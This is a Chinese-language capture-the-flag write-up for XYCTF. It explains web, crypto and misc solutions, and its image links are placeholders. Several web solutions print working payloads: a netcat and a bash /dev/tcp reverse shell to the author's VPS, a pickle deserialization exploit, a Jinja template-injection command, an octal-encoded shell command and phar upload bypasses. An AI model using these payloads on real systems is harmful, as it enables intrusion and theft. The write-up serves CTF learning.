图片直接从记录的word里面导出来的有点模糊😓
由于个人实力较菜加之空余时间较少,只出了这几个题流/(ㄒoㄒ)/~~

web

ezpop

首先用gc机制绕过抛出异常然后构造call_user_func
end函数返回数组最后一个元素的值
数组最后一组构造成system
call_user_func($a,$d)就变成了system
然后$c就可以执行命令了,复制成cat /f*
$d给个空值
OpEJlP.png
注意修改属性大小
OpERTb.png

ezMake

输入help发现有个source指令,可以用来读取文件
OpEtZl.png
直接 source f*读取flag
OpE4cg.png

ez?Make

测试发现nc没被ban,直接nc vps port -e sh拿到shell
OpEHOB.png

ezmd5

直接搜两个md5值相同的文件
搜到一个网站
https://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html
将两个文件上传即可

warmup

第一步简单绕过
OpEwdr.png
第二步preg_replace命令执行
OpGOaM.png

ezhttp

先去robots.txt
OpEL7s.png
跟随
OpEELK.png
然后根据要求一一完成就行

POST /index.php HTTP/1.1
Host: xyctf.top:42385
User-Agent: XYCTF
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://xyctf.top:42385
Connection: close
Upgrade-Insecure-Requests: 1
Referer: yuanshen.com
Client-Ip: 127.0.0.1
Via: ymzx.qq.com
cookie: XYCTF

username=XYCTF&password=%40JOILha%21wuigqi123%24

牢牢记住,逝者为大

OpEGua.png
想用echo 实现不了
用eval,先用%0d换行绕过注释符,然后用反引号执行指令缩减长度,然后%23注释后面的逗号,由于长度限制,使用$_GET再传个参,然后由于没有回显,用cp将flag传出来
f l a都被过滤,用[@-z]绕过
最终exp
cmd=%0d$_GET[1];%23&1=c\p /[@-z][@-z][@-z]g 1
然后访问url/1就能拿到flag

ezSerialize

第一关用个引用就能绕过
OpESzS.png
OpE0PN.png
第二关也没难度,跟着构造就行
OpEclC.png
第三关有个原生类利用,用php伪协议就能读取所有文件了

 <?php
// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng='yuroandCMD258';
    public $upsw1ng;
    public $crypto0='dev1l';

    
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

   

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";



    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}

$a=new XYCTFNO3();
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new XYCTFNO1();
echo serialize($a);

OpEsTL.png

我是一个复读机

爆破密码admin/asdqwe
然后不知道如何时候尝试ssti发现{{}}都被过滤,xss测试可以弹窗
提示不能识别中文,输入中文发现会回显花括号,输入两个中文回显两对花括号,盲猜可以在两个中文后面模板注入,输入我去9+9发现回显18
然后就是用request绕过
然后发现还得用{%%}这种形式然后前面加上一个中文
并且测试发现attr request没被过滤
exp:sentence=%E4%B8%80%print%20(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%&a=__globals__&b=os&c=cat%20/flag
OpEVvi.png

ezRCE

只有数字发现可以用8进制绕过
但是无法执行有参数的指令
用两次here-strings绕过
exp: cmd=$0<<<$0<<<$'\143\141\164\40\57\146\154\141\147'
OpEYcX.png

ezClass

还是php原生类利用,不多赘述
OpElOt.png

login

OpE9Nx.png
在注册界面随便注册一个账号
OpEjLj.png
可以看到RemberMe后面像是pickle反序列化
构造一手
测试发现reduce被过滤
参考文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)
exp:

import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/vps/port 0>&1"'
o.'''
print(base64.b64encode(data))

OpE2up.png

pharme

OpE8FU.png
想执行eval就需要截断掉后面的字符,使用HALT_COMPILER()函数
OpEXPY.png
然后构造phar 序列化
OpEu9v.png
生成exp.phar,上传测试发现只能上传jpg,并且过滤HALT_COMPILER,先用gzip加工一下
然后再修改成jpg后缀上传
OpE3Uq.png
然后再class.php里面包含phar文件,又过滤了phar://头,使用compress.zlib://phar://
OpECvc.png

Crypto

Sign1n签到

from Crypto.Util.number import *
from tqdm import *
import gmpy2

m=12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567780112455778012234677900124556899112356679901344568891223556780113345788901245667900134456899023355788001344568991133566789112455688902335578800133467889112456679901245567991223557880013355689911334677891124556889122355788001245568990233566789112455779902335577801124457889112346779911344578801233467789112355779912234577990233556780113
def custom_reduce(input_str):  
    input_list = list(str(input_str))  
    length = len(input_list)
    for i in range(length):
        if((i+1)%10==int(input_list[i])):
            input_list[i]='0'
        else:
            input_list[i]='1'
    result = ''.join(input_list)
    return result
a=custom_reduce(m)
def swap_bits(input_str): 
    input_list = list(str(input_str)) 
    length = len(input_list)  
    for i in range(length // 2):  
        temp = input_list[i]  
        input_list[i] = input_list[length - 1 - i] 
        input_list[length - 1 - i] = temp  

    return ''.join(input_list)  
b=swap_bits(a)
while b.endswith('0'):
    b = b[:-1]
s1='00'+b
s11=long_to_bytes(int(s1,2))
#print(int(s1,2))
print(s11)

MISC

熊博士

埃特巴什解码
OpGaNG.png

game

谷歌搜图
OpGoE1.png
OpGquI.png
Papers,Please

zzl的护理小课堂

看一下源码
OpGBFD.png
把执行输出flag的指令再控制台执行一遍就行了
OpGTRF.png

ez隐写

OpGU96.png
两处伪加密修改成00
hint.png修复长宽
OpGbUP.png
试了几下发现解压密码是20240401
拿到一张水印图片
OpGkyb.png
然后提取一下隐形水印
OpGxdl.png

ZIP神之套

用ida打开exe文件看到有字符串xyctf????????ftcyx
OpGFag.png
猜测压缩包的掩码攻击
OpGheB.png
爆破出来密码是xyctf20240402ftcyx
打开之后有两个文件 一个加密一个不加密,文件内容极其相似
明文攻击
恢复密钥然后还原就能打开了
OpGiEs.png

TCPL

用UCB RISC-V架构执行TCPL文件
环境搭建参考
https://blog.csdn.net/qq_63922192/article/details/133495747
OpGnIK.png
flag里面的1换成0就ok了

网络追踪

根据最后几个包知道靶机ip是192.168.204.133
OpG7ha.png
通过三次握手过滤出开放的端口
OpGNRS.png
发现开放445 139 135三个端口
根据SMB 445 windows xp 搜索相关cve
试了好多才试出来
OpGejN.png

Osint2

根据洛阳龙门站点和实践15:10搜索到相关车次
OpGAUC.png
然后搜了一下发现G3292搜不到,车次就是G3293
再搜洛阳必去景点试了几个
OpGKyL.png
第二个老君山就是的

彩蛋

OpGZsi.png
两串数字对应开头和结尾flag
OpGyaX.png
第一段XYCTF{this_a_
OpGget.png
第三段find_it}
中间那段找了很长时间,跟最开始的想法一样隐写再图片里了
OpGmGx.png
这个图片先转webp转png然后lsb隐写
OpGpIj.png
OpGPhp.png
好奇怪的编码不过keyborad也算小小提示
第二段bl0ckbuster_for_png_and_i_think_yon_can_
XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}

Osint1

小红书有人发了,在南通海安最东面沿海
高德地图跟一下发现最东边有条路滨海东路正好跟图片里面的一样
OpGHgq.png
OpGLsc.png

真>签到

放到010就出了
OpGGor.png

Ez_Base1024*2

OpGQrM.png

Ez_osint

用stegsolve可以看到水印
OpGSGG.png
根据时间搜索相关时光邮件
好在ulr可以跳转页数
最后定位然后在评论区找到flag
OpG031.png

美妙的歌声

audition打开拿到密码
OpGdhI.png
然后用deepsound解密
OpGstD.png
提取出flag
OpGV2F.png